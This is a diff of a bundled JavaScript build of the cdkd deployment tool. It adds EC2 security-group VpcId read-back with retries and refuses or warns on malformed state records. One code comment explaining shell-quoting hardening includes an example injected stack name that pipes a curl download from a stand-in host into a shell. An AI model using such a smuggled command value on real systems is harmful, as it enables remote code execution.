|
26570
|
+
* `isNotFoundError` classifies as not-found is retried, everything else omits
|
|
26571
|
+
* the attribute at once. Five ATTEMPTS (four retries) a second apart cover the
|
|
26572
|
+
* propagation window EC2 documents for its read APIs;
|
|
26573
|
+
* `securityGroupReadbackDelays.sleep` is the unit-test seam (the pattern
|
|
26574
|
+
* `deleteTableRetryDelays` uses), and the fallback is the provider's own
|
|
26575
|
+
* `sleep`, so the class has one timer to fake.
|
|
26576
|
+
*/
|
|
26577
|
+
const SG_READBACK_NOT_FOUND_ATTEMPTS = 5;
|
|
26578
|
+
const SG_READBACK_RETRY_DELAY_MS = 1e3;
|
|
26579
|
+
const securityGroupReadbackDelays = {};
|
|
26580
|
+
/**
|
|
26558
26581
|
* Page ceiling for {@link EC2Provider.lookupIngressRuleId}'s
|
|
26559
26582
|
* `DescribeSecurityGroupRules` walk (issue #1761).
|
|
26560
26583
|
*
|
|
@@ -27808,10 +27831,10 @@ var EC2Provider = class {
|
|
|
27808
27831
|
this.logger.debug(`Successfully created SecurityGroup ${logicalId}: ${groupId}`);
|
|
27809
27832
|
return {
|
|
27810
27833
|
physicalId: groupId,
|
|
27811
|
-
attributes: {
|
|
27834
|
+
attributes: definedAttributes({
|
|
27812
27835
|
GroupId: groupId,
|
|
27813
|
-
VpcId:
|
|
27814
|
-
}
|
|
27836
|
+
VpcId: await this.readSecurityGroupVpcId(groupId)
|
|
27837
|
+
})
|
|
27815
27838
|
};
|
|
27816
27839
|
} catch (error) {
|
|
27817
27840
|
const cause = error instanceof Error ? error : void 0;
|
|
@@ -27901,10 +27924,10 @@ var EC2Provider = class {
|
|
|
27901
27924
|
return {
|
|
27902
27925
|
physicalId,
|
|
27903
27926
|
wasReplaced: false,
|
|
27904
|
-
attributes: {
|
|
27927
|
+
attributes: definedAttributes({
|
|
27905
27928
|
GroupId: physicalId,
|
|
27906
|
-
VpcId:
|
|
27907
|
-
}
|
|
27929
|
+
VpcId: await this.readSecurityGroupVpcId(physicalId)
|
|
27930
|
+
})
|
|
27908
27931
|
};
|
|
27909
27932
|
} catch (error) {
|
|
27910
27933
|
const cause = error instanceof Error ? error : void 0;
|
|
@@ -27968,17 +27991,72 @@ var EC2Provider = class {
|
|
|
27968
27991
|
}
|
|
27969
27992
|
}));
|
|
27970
27993
|
}
|
|
27971
|
-
|
|
27972
|
-
|
|
27973
|
-
|
|
27974
|
-
|
|
27975
|
-
|
|
27976
|
-
|
|
27977
|
-
|
|
27978
|
-
|
|
27994
|
+
/**
|
|
27995
|
+
* The `VpcId` a security group's `attributes` map records, read back from
|
|
27996
|
+
* `DescribeSecurityGroups` on the group id (issue #3097).
|
|
27997
|
+
*
|
|
27998
|
+
* The two `AWS::EC2::SecurityGroup` result maps used to copy the TEMPLATE's
|
|
27999
|
+
* own `VpcId` property with a `?? ''` fallback — the last two sites issue
|
|
28000
|
+
* #3077 left on that shape. A `CfnSecurityGroup` declared without `VpcId`
|
|
28001
|
+
* lands in the account's default VPC, so the template has nothing to copy
|
|
28002
|
+
* and the record held `''` where CloudFormation answers the default VPC's
|
|
28003
|
+
* id. The read-back answers both shapes the same way: `CreateSecurityGroup`
|
|
28004
|
+
* returns only the group id, and the describe reports `VpcId` for an
|
|
28005
|
+
* explicit VPC and for the default one alike.
|
|
28006
|
+
*
|
|
28007
|
+
* Best-effort by design: the group is already created (or updated) and
|
|
28008
|
+
* wired when this runs, so a failed or empty read must not fail the
|
|
28009
|
+
* resource. It answers `undefined` then, which `definedAttributes` turns
|
|
28010
|
+
* into an ABSENT key — never `''` — and the resolver's
|
|
28011
|
+
* `AWS::EC2::SecurityGroup` `VpcId` arm re-reads it live on the next
|
|
28012
|
+
* `Fn::GetAtt`. The error CLASS (and HTTP status when the SDK attached one)
|
|
28013
|
+
* is what the debug line names at its head; AWS's own text follows it on the
|
|
28014
|
+
* same debug line, since a denied describe quotes the caller's account, role
|
|
28015
|
+
* and session (`.claude/rules/provider-resource-identity.md`).
|
|
28016
|
+
*
|
|
28017
|
+
* EC2's read API is eventually consistent: a `DescribeSecurityGroups` issued
|
|
28018
|
+
* right after `CreateSecurityGroup` can answer `InvalidGroup.NotFound` for a
|
|
28019
|
+
* group the write path already accepted tags and rules for (#3139 review).
|
|
28020
|
+
* An answer `isNotFoundError` classifies as not-found (a substring
|
|
28021
|
+
* predicate — on this API that is `InvalidGroup.NotFound`) is therefore
|
|
28022
|
+
* retried a bounded number of times (`SG_READBACK_NOT_FOUND_ATTEMPTS`,
|
|
28023
|
+
* `SG_READBACK_RETRY_DELAY_MS` apart) before the key is omitted; every
|
|
28024
|
+
* other failure, and an EMPTY answer, omits at once. On the update path a
|
|
28025
|
+
* group deleted out of band takes the same bounded wait and then omits —
|
|
28026
|
+
* its own rule / tag calls MAY already have failed, but an update whose
|
|
28027
|
+
* bags agree issues none, and the rollback replay / `drift --revert` reach
|
|
28028
|
+
* `updateSecurityGroup` too, so this read can be the first call to touch
|
|
28029
|
+
* it. `getSecurityGroupAttribute` (the orphan rewriter's live fetch) shares
|
|
28030
|
+
* the wait. The sleep itself is inside the best-effort boundary: a
|
|
28031
|
+
* rejecting sleep (only a test seam can reject) omits like a failed read.
|
|
28032
|
+
*/
|
|
28033
|
+
async readSecurityGroupVpcId(groupId) {
|
|
28034
|
+
for (let attempt = 1;; attempt++) try {
|
|
28035
|
+
const vpcId = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [groupId] })))?.SecurityGroups?.[0]?.VpcId;
|
|
28036
|
+
if (vpcId === void 0) this.logger.debug(`DescribeSecurityGroups reported no VpcId for SecurityGroup ${groupId}; omitting the attribute`);
|
|
28037
|
+
return vpcId;
|
|
28038
|
+
} catch (error) {
|
|
28039
|
+
const name = error instanceof Error && error.name ? error.name : "Error";
|
|
28040
|
+
const status = error?.$metadata?.httpStatusCode;
|
|
28041
|
+
const errorClass = typeof status === "number" ? `${name}, HTTP ${status}` : name;
|
|
28042
|
+
if (this.isNotFoundError(error) && attempt < 5) {
|
|
28043
|
+
this.logger.debug(`DescribeSecurityGroups for SecurityGroup ${groupId} answered not-found (${errorClass}) on attempt ${attempt}/${5}; retrying in ${SG_READBACK_RETRY_DELAY_MS}ms (eventual consistency)`);
|
|
28044
|
+
try {
|
|
28045
|
+
await (securityGroupReadbackDelays.sleep ?? ((ms) => this.sleep(ms)))(SG_READBACK_RETRY_DELAY_MS);
|
|
28046
|
+
} catch {
|
|
28047
|
+
this.logger.debug(`DescribeSecurityGroups retry sleep for SecurityGroup ${groupId} rejected; omitting the VpcId attribute`);
|
|
28048
|
+
return;
|
|
28049
|
+
}
|
|
28050
|
+
continue;
|
|
28051
|
+
}
|
|
28052
|
+
this.logger.debug(`DescribeSecurityGroups for SecurityGroup ${groupId} failed (${errorClass}); omitting the VpcId attribute: ${error instanceof Error ? error.message : String(error)}`);
|
|
27979
28053
|
return;
|
|
27980
28054
|
}
|
|
27981
28055
|
}
|
|
28056
|
+
async getSecurityGroupAttribute(physicalId, attributeName) {
|
|
28057
|
+
if (attributeName === "GroupId") return physicalId;
|
|
28058
|
+
if (attributeName === "VpcId") return this.readSecurityGroupVpcId(physicalId);
|
|
28059
|
+
}
|
|
27982
28060
|
/**
|
|
27983
28061
|
* @param onUnusableProtocol When supplied, a malformed `IpProtocol` WARNS and
|
|
27984
28062
|
* defaults instead of throwing. Passed by `updateSecurityGroupIngress`,
|
|
@@ -29671,10 +29749,17 @@ var EC2Provider = class {
|
|
|
29671
29749
|
physicalId,
|
|
29672
29750
|
attributes: {}
|
|
29673
29751
|
} : null;
|
|
29674
|
-
case "AWS::EC2::SecurityGroup":
|
|
29675
|
-
physicalId
|
|
29676
|
-
|
|
29677
|
-
|
|
29752
|
+
case "AWS::EC2::SecurityGroup": {
|
|
29753
|
+
const group = (await this.ec2Client.send(new DescribeSecurityGroupsCommand({ GroupIds: [physicalId] }))).SecurityGroups?.[0];
|
|
29754
|
+
if (!group) return null;
|
|
29755
|
+
return {
|
|
29756
|
+
physicalId,
|
|
29757
|
+
attributes: definedAttributes({
|
|
29758
|
+
GroupId: physicalId,
|
|
29759
|
+
VpcId: group.VpcId
|
|
29760
|
+
})
|
|
29761
|
+
};
|
|
29762
|
+
}
|
|
29678
29763
|
case "AWS::EC2::SecurityGroupIngress": {
|
|
29679
29764
|
if (!SG_RULE_ID_PATTERN$1.test(physicalId)) return null;
|
|
29680
29765
|
const rule = (await this.ec2Client.send(new DescribeSecurityGroupRulesCommand({ SecurityGroupRuleIds: [physicalId] }))).SecurityGroupRules?.[0];
|
|
@@ -63959,8 +64044,9 @@ const UNSUBSTITUTED_SUB_PLACEHOLDER = /\$\{[^}]*\}/;
|
|
|
63959
64044
|
*
|
|
63960
64045
|
* 1. `undefined` — the SAME signal the deploy side keys on. `resolve` returns it
|
|
63961
64046
|
* WITHOUT throwing for a constructible-but-unknown attribute
|
|
63962
|
-
* (`AWS::DynamoDB::Table.StreamArn`, `AWS::IAM::Policy.PolicyId`,
|
|
63963
|
-
* `AWS::EC2::SecurityGroup.VpcId
|
|
64047
|
+
* (`AWS::DynamoDB::Table.StreamArn`, `AWS::IAM::Policy.PolicyId`, ...;
|
|
64048
|
+
* `AWS::EC2::SecurityGroup.VpcId` left this list in #3097 — it now reads
|
|
64049
|
+
* the group live and REFUSES, which the catch below records). `JSON.stringify` drops an
|
|
63964
64050
|
* `undefined`-valued key, so state can never hold one and such an output
|
|
63965
64051
|
* would otherwise report a PERMANENT phantom `ADD` printing `new: undefined`.
|
|
63966
64052
|
* 2. A symbol — `Ref: AWS::NoValue` resolves to a sentinel symbol, which
|
|
@@ -65262,6 +65348,145 @@ function isStackNotFoundError(err) {
|
|
|
65262
65348
|
return name === "ValidationError" && /does not exist/i.test(message);
|
|
65263
65349
|
}
|
|
65264
65350
|
|
|
65351
|
+
//#endregion
|
|
65352
|
+
//#region src/state/malformed-resources-bag.ts
|
|
65353
|
+
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
65354
|
+
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
65355
|
+
/**
|
|
65356
|
+
* Answer the ONE question both helpers below key on: can this record's
|
|
65357
|
+
* resource map be read at all?
|
|
65358
|
+
*
|
|
65359
|
+
* Widened past `null` / `undefined` because the message says "no readable
|
|
65360
|
+
* resources map" and a hand-edited record does not stop at those two: a
|
|
65361
|
+
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
65362
|
+
* empty or, for the string, absurd — repaired silently and warned about
|
|
65363
|
+
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
65364
|
+
*/
|
|
65365
|
+
function hasReadableResources(state) {
|
|
65366
|
+
const bag = state.resources;
|
|
65367
|
+
return typeof bag === "object" && bag !== null && !Array.isArray(bag);
|
|
65368
|
+
}
|
|
65369
|
+
/**
|
|
65370
|
+
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
65371
|
+
* to look at, and what NOT to do next.
|
|
65372
|
+
*
|
|
65373
|
+
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
65374
|
+
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
65375
|
+
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
65376
|
+
* meant to paste, for two separate reasons.
|
|
65377
|
+
*
|
|
65378
|
+
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
65379
|
+
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
65380
|
+
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
65381
|
+
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
65382
|
+
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
65383
|
+
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
65384
|
+
* command to the line this text tells the user to RUN.
|
|
65385
|
+
*
|
|
65386
|
+
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
65387
|
+
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
65388
|
+
* produces something unpastable. Hence unwrapped and last.
|
|
65389
|
+
*
|
|
65390
|
+
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
65391
|
+
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
65392
|
+
* turning a remedy into a differently-broken command.
|
|
65393
|
+
*/
|
|
65394
|
+
function safeIdentifier(value) {
|
|
65395
|
+
const safe = displaySafe(value, { asciiOnly: true });
|
|
65396
|
+
if (!safe) return UNRENDERABLE;
|
|
65397
|
+
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
65398
|
+
return truncated ? `${text}...` : text;
|
|
65399
|
+
}
|
|
65400
|
+
function malformedStateDetail(stackName, region) {
|
|
65401
|
+
const stack = safeIdentifier(stackName);
|
|
65402
|
+
const reg = safeIdentifier(region);
|
|
65403
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
65404
|
+
}
|
|
65405
|
+
/**
|
|
65406
|
+
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
65407
|
+
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
65408
|
+
*
|
|
65409
|
+
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
65410
|
+
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
65411
|
+
* `null`, or some other non-object. Every such command then died on a raw
|
|
65412
|
+
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
65413
|
+
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
65414
|
+
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
65415
|
+
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
65416
|
+
* reaches for WHEN the state is broken.
|
|
65417
|
+
*
|
|
65418
|
+
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
65419
|
+
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
65420
|
+
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
65421
|
+
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
65422
|
+
* happened one line up and the guards only made it look handled. One call per
|
|
65423
|
+
* load dominates the whole flow behind it, including the helpers that take the
|
|
65424
|
+
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
65425
|
+
* `collectCcApiRoutes`).
|
|
65426
|
+
*
|
|
65427
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
65428
|
+
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
65429
|
+
* indistinguishable from a healthy empty stack in every later line of output,
|
|
65430
|
+
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
65431
|
+
* nothing.
|
|
65432
|
+
*
|
|
65433
|
+
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
65434
|
+
* uses {@link refuseMalformedState} instead; see its note.
|
|
65435
|
+
*/
|
|
65436
|
+
function repairMalformedResourcesForReadOnly(state) {
|
|
65437
|
+
if (hasReadableResources(state)) return false;
|
|
65438
|
+
state.resources = {};
|
|
65439
|
+
return true;
|
|
65440
|
+
}
|
|
65441
|
+
/**
|
|
65442
|
+
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
65443
|
+
* cannot be a plain `CdkdError`.
|
|
65444
|
+
*
|
|
65445
|
+
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
65446
|
+
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
65447
|
+
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
65448
|
+
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
65449
|
+
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
65450
|
+
* this text rather than calling {@link refuseMalformedState}.
|
|
65451
|
+
*
|
|
65452
|
+
* The other three refusing commands do NOT share that need, and giving them a
|
|
65453
|
+
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
65454
|
+
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
65455
|
+
* would tell an operator to re-run a command that attempted nothing.
|
|
65456
|
+
*/
|
|
65457
|
+
function malformedStateRefusalMessage(stackName, region) {
|
|
65458
|
+
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
65459
|
+
}
|
|
65460
|
+
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
65461
|
+
function malformedResourcesWarning(stackName, region) {
|
|
65462
|
+
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
65463
|
+
}
|
|
65464
|
+
/**
|
|
65465
|
+
* For a command that can WRITE state: refuse the record by name instead of
|
|
65466
|
+
* repairing it.
|
|
65467
|
+
*
|
|
65468
|
+
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
65469
|
+
* shipped that danger for one round before its security review caught it.
|
|
65470
|
+
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
65471
|
+
* change alone satisfies — so a record holding `"resources": null` and a
|
|
65472
|
+
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
65473
|
+
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
65474
|
+
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
65475
|
+
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
65476
|
+
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
65477
|
+
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
65478
|
+
* that would have said so is long gone, quite possibly for a different
|
|
65479
|
+
* operator. `cdkd import --force` launders it the same way.
|
|
65480
|
+
*
|
|
65481
|
+
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
65482
|
+
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
65483
|
+
* code rather than on a stack trace.
|
|
65484
|
+
*/
|
|
65485
|
+
function refuseMalformedState(state, stackName, region) {
|
|
65486
|
+
if (hasReadableResources(state)) return;
|
|
65487
|
+
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
65488
|
+
}
|
|
65489
|
+
|
|
65265
65490
|
//#endregion
|
|
65266
65491
|
//#region src/cli/commands/diff-recursive.ts
|
|
65267
65492
|
/**
|
|
@@ -65382,7 +65607,10 @@ function indexNestedChildTemplates(template, templatePath) {
|
|
|
65382
65607
|
/** Load a stack's cdkd state, or synthesize an empty record (→ all CREATE) when none exists. */
|
|
65383
65608
|
async function loadStateOrEmpty(stackName, region, stateBackend) {
|
|
65384
65609
|
const result = await stateBackend.getState(stackName, region);
|
|
65385
|
-
if (result)
|
|
65610
|
+
if (result) {
|
|
65611
|
+
if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
|
|
65612
|
+
return result.state;
|
|
65613
|
+
}
|
|
65386
65614
|
return {
|
|
65387
65615
|
stackName,
|
|
65388
65616
|
region,
|
|
@@ -65691,7 +65919,7 @@ async function buildDiffTree(args) {
|
|
|
65691
65919
|
parentHasSecretReference: secretBearingAbove
|
|
65692
65920
|
}));
|
|
65693
65921
|
}
|
|
65694
|
-
for (const [logicalId, resource] of Object.entries(state.resources)) {
|
|
65922
|
+
for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
|
|
65695
65923
|
if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
|
|
65696
65924
|
if (templateChildIds.has(logicalId)) continue;
|
|
65697
65925
|
node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, secretBearingAbove));
|
|
@@ -65718,7 +65946,7 @@ async function buildDeletedSubtree(stackName, region, stateBackend, diffCalculat
|
|
|
65718
65946
|
outputChanges,
|
|
65719
65947
|
children: []
|
|
65720
65948
|
};
|
|
65721
|
-
for (const [logicalId, resource] of Object.entries(state.resources)) {
|
|
65949
|
+
for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
|
|
65722
65950
|
if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
|
|
65723
65951
|
node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, parentHasSecretReference));
|
|
65724
65952
|
}
|
|
@@ -66208,7 +66436,7 @@ async function diffCommand(stacks, options) {
|
|
|
66208
66436
|
const previewOrphanAdoption = async (state, effectiveTemplate, orphanStackName, orphanRegion) => {
|
|
66209
66437
|
const outcome = await planOrphanAdoption({
|
|
66210
66438
|
records: state.orphans ?? [],
|
|
66211
|
-
managedLogicalIds: new Set(Object.keys(state.resources)),
|
|
66439
|
+
managedLogicalIds: new Set(Object.keys(state.resources ?? {})),
|
|
66212
66440
|
template: effectiveTemplate,
|
|
66213
66441
|
stackName: orphanStackName,
|
|
66214
66442
|
region: orphanRegion,
|
|
@@ -66649,6 +66877,12 @@ async function scrubCommand(stacks, options) {
|
|
|
66649
66877
|
let totalStacksScrubbed = 0;
|
|
66650
66878
|
let totalStacksWithUnscrubbableKeys = 0;
|
|
66651
66879
|
let totalStacksWithUnverifiableReads = 0;
|
|
66880
|
+
/**
|
|
66881
|
+
* Stacks this `--dry-run` proceeded over with an UNREADABLE resources map
|
|
66882
|
+
* (issue go-to-k/cdkd#3018). Tracked exactly like `indexUnreadable`: an
|
|
66883
|
+
* audit this run could not perform is a FINDING, never a clean result.
|
|
66884
|
+
*/
|
|
66885
|
+
const malformedRecords = [];
|
|
66652
66886
|
const failures = [];
|
|
66653
66887
|
const exportIndexStores = /* @__PURE__ */ new Map();
|
|
66654
66888
|
const exportIndexFor = (indexRegion) => {
|
|
@@ -66725,6 +66959,7 @@ async function scrubCommand(stacks, options) {
|
|
|
66725
66959
|
totalStacksScrubbed++;
|
|
66726
66960
|
logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
|
|
66727
66961
|
} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
|
|
66962
|
+
if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
|
|
66728
66963
|
if (scrubbed.unverifiableReads > 0) {
|
|
66729
66964
|
totalStacksWithUnverifiableReads++;
|
|
66730
66965
|
logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
|
|
@@ -66755,7 +66990,7 @@ async function scrubCommand(stacks, options) {
|
|
|
66755
66990
|
totalIndexEntriesUnexamined += unexamined.length;
|
|
66756
66991
|
logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
|
|
66757
66992
|
}
|
|
66758
|
-
if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0) {
|
|
66993
|
+
if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
|
|
66759
66994
|
if (failures.length === 0) {
|
|
66760
66995
|
logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
|
|
66761
66996
|
return;
|
|
@@ -66778,6 +67013,7 @@ async function scrubCommand(stacks, options) {
|
|
|
66778
67013
|
else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
66779
67014
|
if (failures.length > 0) throw scrubStacksFailedError(failures);
|
|
66780
67015
|
if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
|
|
67016
|
+
if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
|
|
66781
67017
|
if (options.fail) throw new ScrubNeededError();
|
|
66782
67018
|
return;
|
|
66783
67019
|
}
|
|
@@ -66785,6 +67021,7 @@ async function scrubCommand(stacks, options) {
|
|
|
66785
67021
|
else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
66786
67022
|
if (failures.length > 0) throw scrubStacksFailedError(failures);
|
|
66787
67023
|
if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
|
|
67024
|
+
if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
|
|
66788
67025
|
if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0)) throw new ScrubNeededError();
|
|
66789
67026
|
}
|
|
66790
67027
|
/**
|
|
@@ -67375,6 +67612,19 @@ function orderScrubTargets(targets) {
|
|
|
67375
67612
|
* through the real backend, so the read-modify-write still sees S3 rather than
|
|
67376
67613
|
* a cache, and its ETag precondition still means what it says.
|
|
67377
67614
|
*/
|
|
67615
|
+
/**
|
|
67616
|
+
* The finding a `--dry-run` raises for a record whose resources map it could
|
|
67617
|
+
* not read (issue go-to-k/cdkd#3018).
|
|
67618
|
+
*
|
|
67619
|
+
* `ScrubRefusalError`, so it carries scrub's exit **2**: `1` means "--fail
|
|
67620
|
+
* looked and found a leak -- rotate the secret", and this is the opposite
|
|
67621
|
+
* remedy ("repair the record and re-run"). Without it the run exits 0, or 1
|
|
67622
|
+
* under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
|
|
67623
|
+
* also swallow this text.
|
|
67624
|
+
*/
|
|
67625
|
+
function malformedRecordsAuditedError(stackNames) {
|
|
67626
|
+
return new ScrubRefusalError(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${stackNames.join(", ")}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean. See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
|
|
67627
|
+
}
|
|
67378
67628
|
function memoizeCrossStackStateReads(backend) {
|
|
67379
67629
|
const view = Object.create(backend);
|
|
67380
67630
|
let listed;
|
|
@@ -67982,6 +68232,80 @@ function isRegionAmbiguousRefusal(err) {
|
|
|
67982
68232
|
return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
|
|
67983
68233
|
}
|
|
67984
68234
|
/**
|
|
68235
|
+
* The marker the resolver's NAMELESS-dynamic-reference throw carries
|
|
68236
|
+
* (`Dynamic reference: <service> PARAMETER_NAME is required`).
|
|
68237
|
+
*
|
|
68238
|
+
* Pinned against the resolver's own literal by
|
|
68239
|
+
* `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
|
|
68240
|
+
* consumer of a string the resolver owns: a reword there would otherwise make
|
|
68241
|
+
* the predicate below silently stop matching and restore the very silence it
|
|
68242
|
+
* exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
|
|
68243
|
+
* cdkd's OWN output must fail loudly when the format drifts").
|
|
68244
|
+
*/
|
|
68245
|
+
const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
|
|
68246
|
+
/**
|
|
68247
|
+
* The prefix a matching message must ALSO carry. Without it the bare tails
|
|
68248
|
+
* above are reachable from an unrelated throw: `resolveParameters` raises
|
|
68249
|
+
* `Parameter ${name} is required but no value was provided`, so a template
|
|
68250
|
+
* parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
|
|
68251
|
+
* best-effort miss into a whole-stack refusal.
|
|
68252
|
+
*/
|
|
68253
|
+
const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
68254
|
+
/**
|
|
68255
|
+
* A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
|
|
68256
|
+
* the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
|
|
68257
|
+
* with no parameter name, or `{{resolve:secretsmanager}}` /
|
|
68258
|
+
* `{{resolve:secretsmanager:}}` with no secret id.
|
|
68259
|
+
*
|
|
68260
|
+
* The resolver raises a bare `Error` for both, so they fall through the
|
|
68261
|
+
* typed-refusal test above into the `debug` below and `cdkd scrub` reports the
|
|
68262
|
+
* run CLEAN. What makes that wrong is WHERE the throw happens: the token loop
|
|
68263
|
+
* in `resolveDynamicReferences` has NO per-token `try`, so either one abandons
|
|
68264
|
+
* every remaining `{{resolve:...}}` token in the leaf. A real
|
|
68265
|
+
* `{{resolve:secretsmanager:prod/db}}` after it is never fetched and records NO
|
|
68266
|
+
* needle — and a legacy plaintext already in `state.json` then survives under
|
|
68267
|
+
* `No plaintext secrets found`, exit 0.
|
|
68268
|
+
*
|
|
68269
|
+
* BOTH spellings are matched, and the second is the DOMINANT one. The first
|
|
68270
|
+
* cut matched `PARAMETER_NAME is required` alone, leaving the more common way
|
|
68271
|
+
* to write a secret silent — and the fence certified that as deliberate by
|
|
68272
|
+
